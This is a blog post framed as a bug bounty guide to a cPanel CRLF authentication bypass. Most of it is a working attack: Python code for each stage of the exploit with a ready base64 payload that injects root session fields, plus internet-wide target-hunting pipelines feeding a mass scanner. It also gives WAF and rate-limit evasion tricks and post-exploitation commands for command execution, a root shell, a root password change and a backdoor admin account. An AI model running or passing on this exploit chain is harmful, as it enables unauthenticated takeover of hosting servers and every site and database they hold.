DEV Community

Md Hehedi Hasan
Md Hehedi Hasan

Posted on

CVE-2026–41940: Bug Bounty Hunter's Guide to cPanel's CRLF Authentication Bypass


A technical deep-dive for bug bounty hunters targeting CVE-2026–41940 — reconnaissance, exploitation chains, WAF bypasses, and report writing for maximum impact.


Why This Matters for Bug Bounty

CVE-2026–41940 is the kind of vulnerability that defines a bug bounty career. It's a CVSS 10.0, unauthenticated, remote root compromise affecting ~70 million domains — and it was exploited in the wild as a zero-day for over two months before disclosure.

For bug bounty hunters, this represents:

  • Maximum severity — This is as critical as it gets. P1/Critical across every program.
  • Massive attack surface — cPanel runs ~94% of the web hosting control panel market. Every shared hosting provider, every reseller, every managed WordPress host.
  • Clear impact chain — Authentication bypass → root-level WHM access → full server compromise → all hosted domains owned.
  • Multiple bounty opportunities — cPanel's own bug bounty, hosting provider programs, infrastructure bug bounty platforms.

Let's break down exactly how to hunt, exploit, and report this vulnerability.


Understanding the Vulnerability

Before you hunt, you need to understand — not just run a tool.

The Root Cause

In cPanel's Session.pm, the saveSession() function calls filter_sessiondata() — the sanitization routine — after the session file has already been written to disk.

Normal flow:   sanitize → write ✓
Vulnerable:    write → sanitize ✗
Enter fullscreen mode Exit fullscreen mode

This means CRLF sequences (\r\n) embedded in the Authorization: Basic header value are written verbatim into /var/cpanel/sessions/raw/<session> before any filtering occurs.

The Injected Payload

When base64-decoded, the Authorization password field contains:

x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Enter fullscreen mode Exit fullscreen mode

These become newline-separated keys in the session file. When cpsrvd re-parses the file, it treats them as legitimate session attributes belonging to an authenticated root user.

The Auth Bypass Mechanism

cPanel's docheckpass_whostmgrd() checks for successful_internal_auth_with_timestamp before consulting /etc/shadow:

if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) {
    return $Cpanel::Server::AUTH_OK, 0;  # Password check SKIPPED
}
Enter fullscreen mode Exit fullscreen mode

If that timestamp exists, password validation is bypassed entirely. The attacker set it to 9999999999. Access granted.


Reconnaissance — Finding Vulnerable Targets

Shodan Hunting

The most efficient way to find targets at scale:

# Broad WHM search
shodan search --fields ip_str,port 'title:"WHM Login"' --limit 1000

# cPanel-specific on SSL port
shodan search --fields ip_str,port 'product:"cPanel" port:2083' --limit 1000

# WHM on admin port
shodan search --fields ip_str,port 'title:"WebHost Manager" port:2087' --limit 1000

# SSL certificate-based
shodan search --fields ip_str,port 'ssl.cert.subject.cn:"cPanel" port:2087' --limit 1000
Enter fullscreen mode Exit fullscreen mode

Direct pipeline to cPanelSniper:

shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 50 -o shodan_results.json
Enter fullscreen mode Exit fullscreen mode

Subdomain Enumeration

For bug bounty programs with specific scope:

Subfinder

# Subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json
Enter fullscreen mode Exit fullscreen mode

Amass

# Amass for broader coverage
amass enum -d target.com | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json
Enter fullscreen mode Exit fullscreen mode

Google Dorking

inurl:":2087" "WHM Login"
inurl:":2083" "cPanel"
intitle:"WHM Login" "WebHost Manager"
inurl:"/cpsess" "login_only"
Enter fullscreen mode Exit fullscreen mode

Certificate Transparency Logs

# crt.sh for domain discovery
curl -s "https://crt.sh/?q=%25.target.com%25&output=json" | \
  jq -r '.[].name_value' | \
  sort -u | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json
Enter fullscreen mode Exit fullscreen mode

Censys

# Censys search (requires API key)
censys search 'services.service_name: "cPanel" and services.port: 2087' \
  --pages 5 | \
  jq -r '.[] | "https://\(.ip):2087"' | \
  python3 cPanelSniper.py -t 30 -o censys_results.json
Enter fullscreen mode Exit fullscreen mode

The Exploitation Chain — What Actually Happens

Stage 0: Canonical Hostname Discovery

import base64, http.client

def discover_hostname(target):
    conn = http.client.HTTPSConnection(target)
    conn.request("GET", "/openid_connect/cpanelid")
    resp = conn.getresponse()
    # Follow 307 to extract real hostname
    return resp.getheader("Location")  # Contains canonical hostname
Enter fullscreen mode Exit fullscreen mode

Why this matters: cPanel validates the Host header internally. If it doesn't match the server's canonical hostname, the exploit fails silently. Always auto-discover.

Stage 1: Mint the Preauth Session

def mint_session(target, hostname):
    conn = http.client.HTTPSConnection(target)
    body = "user=root&pass=wrong"
    headers = {
        "Host": hostname,
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": str(len(body))
    }
    conn.request("POST", "/login/?login_only=1", body, headers)
    resp = conn.getresponse()

    # Extract session cookie
    cookie = resp.getheader("Set-Cookie")
    # Parse: whostmgrsession=%3aSESSION_NAME%2cOB_HEX
    session = cookie.split("=")[1].split("%2c")[0].strip()
    # URL decode if needed
    from urllib.parse import unquote
    return unquote(session)  # Returns ":SESSION_NAME"
Enter fullscreen mode Exit fullscreen mode

Key insight: The session name (before %2C) is what we need. The OB hash after %2C is discarded — that's what makes the injection possible in the first place.

Stage 2: CRLF Injection

def inject_crlf(target, hostname, session):
    conn = http.client.HTTPSConnection(target)

    # The CRLF payload - base64 of:
    # x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\n
    # user=root\r\ntfa_verified=1\r\nhasroot=1
    payload_b64 = "cm9vdDp4DQoNCnN1Y2Nlc3NmdWxfaW50ZXJuYWxfYXV0aF93aXRoX3RpbWVzdGFtcD05OTk5OTk5OTk5DQp1c2VyPXJvb3QNCnRmYV92ZXJpZmllZD0xDQpoYXNyb290PTE="

    headers = {
        "Host": hostname,
        "Cookie": f"whostmgrsession={session}",
        "Authorization": f"Basic {payload_b64}"
    }
    conn.request("GET", "/", headers=headers)
    resp = conn.getresponse()
    location = resp.getheader("Location", "")

    # Extract token from Location header
    import re
    token_match = re.search(r'/cpsess(\d+)', location)
    if token_match:
        return token_match.group(0)  # /cpsessXXXXXX
    return None
Enter fullscreen mode Exit fullscreen mode

Bug bounty tip: The Location header in the 307 response contains your session token. This is what you use in subsequent requests. Save it.

Stage 3: The Cache Flush (do_token_denied Gadget)

def flush_cache(target, hostname, session):
    conn = http.client.HTTPSConnection(target)
    headers = {
        "Host": hostname,
        "Cookie": f"whostmgrsession={session}"
    }
    # Request without valid token → triggers do_token_denied
    conn.request("GET", "/scripts2/listaccts", headers=headers)
    resp = conn.getresponse()
    # Expected: 401 Token Denied
    # BUT the raw session data is now flushed into JSON cache
    return resp.status
Enter fullscreen mode Exit fullscreen mode

Critical nuance: This step is often overlooked. Without the cache flush, the injected fields exist only in the raw session file. The do_token_denied handler calls Modify::new(nocache => 1) which re-parses the raw file and writes the result into the JSON cache. Only then are the injected fields active.

Stage 4: Verify Root Access

def verify_root(target, hostname, session, token):
    conn = http.client.HTTPSConnection(target)
    headers = {
        "Host": hostname,
        "Cookie": f"whostmgrsession={session}"
    }
    conn.request("GET", f"{token}/json-api/version?api.version=1", headers=headers)
    resp = conn.getresponse()
    data = resp.read().decode()

    if resp.status == 200 and '"result":1' in data:
        import json
        version = json.loads(data)["cpanelresult"]["data"]["version"]
        return True, version
    return False, None
Enter fullscreen mode Exit fullscreen mode

WAF Bypass Techniques

Bug bounty targets often have WAFs. Here's how to evade them:

1. Alternative CRLF Encodings

# Instead of standard \r\n, try:
payloads = [
    # Standard
    "cm9vdDp4DQpzdWNjZXNzZnVs...",
    # URL-encoded \r\n
    "cm9vdDp4%0d%0asuccessful...",
    # Double URL-encode
    "cm9vdDp4%250d%250asuccessful...",
    # Unicode variation
    "cm9vdDp4\u000d\u000asuccessful...",
    # Tab instead of CR
    "cm9vdDp4\tsuccessful...",
]
Enter fullscreen mode Exit fullscreen mode

2. Authorization Header Variations

headers_variants = [
    {"Authorization": f"Basic {payload}"},
    {"authorization": f"basic {payload}"},
    {"AUTHORIZATION": f"BASIC {payload}"},
    # Split header
    {"Authorization": f"Basic", "X-Payload": payload},
]
Enter fullscreen mode Exit fullscreen mode

3. Session Cookie Manipulation

# Different cookie formats
cookie_variants = [
    f"whostmgrsession={session}",
    f"whostmgrsession={session}; path=/",
    f"whostmgrsession={session}; HttpOnly",
    # URL-encoded variations
    f"whostmgrsession={quote(session)}",
]
Enter fullscreen mode Exit fullscreen mode

4. HTTP Version Smuggling

  • Try HTTP/1.0 vs HTTP/1.1
  • Try chunked encoding
  • Try Connection: keep-alive vs close

5. Rate Limiting Evasion

# Add random delays
import random, time
time.sleep(random.uniform(0.5, 2.0))

# Rotate User-Agents
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
    "curl/8.0.1",
]
Enter fullscreen mode Exit fullscreen mode

Post-Exploitation — What to Demo in Your Report

Bug bounty programs want to see impact, not just exploitation. Here's what to demonstrate:

1. Account Enumeration (Proof of Access)

python3 cPanelSniper.py -u https://target.com:2087 --action list
Enter fullscreen mode Exit fullscreen mode

Output to include in report: Number of cPanel accounts, list of hosted domains, email addresses. This proves you can enumerate all hosted tenants.

2. Version Confirmation

python3 cPanelSniper.py -u https://target.com:2087 --action version
Enter fullscreen mode Exit fullscreen mode

Output: Exact cPanel build number. Proves the vulnerability is real and the version is unpatched.

3. Server Information

python3 cPanelSniper.py -u https://target.com:2087 --action info
Enter fullscreen mode Exit fullscreen mode

Output: Hostname, load averages, disk usage, MySQL host. Proves you can read server-level configuration.

4. Sensitive File Read (Minimum Viable Proof)

python3 cPanelSniper.py -u https://target.com:2087 --action cmd \
  --cmd "cat /etc/passwd | head -20"
Enter fullscreen mode Exit fullscreen mode

Key insight: Most programs accept reading /etc/passwd as sufficient proof of RCE/root access. You don't need to demonstrate destructive actions.

5. Database Access Proof (High Impact)

python3 cPanelSniper.py -u https://target.com:2087 --action cmd \
  --cmd "mysql -e 'SELECT user, host FROM mysql.user' -u root"
Enter fullscreen mode Exit fullscreen mode

Impact multiplier: Proving you can access all MySQL databases on the server (every hosted website's database) significantly increases bounty potential.


Impact

An unauthenticated attacker can:

  1. Gain root-level WHM administrative access
  2. Read all server configuration files
  3. Access all hosted websites' files and databases
  4. Create persistent backdoor admin accounts
  5. Modify DNS, SSL certificates, and mail configuration
  6. Deface, redirect, or inject malware into all hosted domains

Basic Usage

# Single target scan
python3 cPanelSniper.py -u https://target.com:2087

# Single target + interactive shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Bulk scan
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
Enter fullscreen mode Exit fullscreen mode

Post-Exploitation Commands

# List all accounts
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Execute commands
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id"

# Interactive shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Change root password
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewP@ss'

# Create backdoor admin
# (within interactive shell) addadmin backdoor_user Password123!
Enter fullscreen mode Exit fullscreen mode

Exploit (Manual)

1. GET /openid_connect/cpanelid         → Discover hostname
2. POST /login/?login_only=1            → Get session cookie
3. GET / + CRLF Authorization header    → Inject payload
4. GET /scripts2/listaccts              → Flush cache
5. GET /cpsessTOKEN/json-api/version    → Verify root
Enter fullscreen mode Exit fullscreen mode

References

Top comments (0)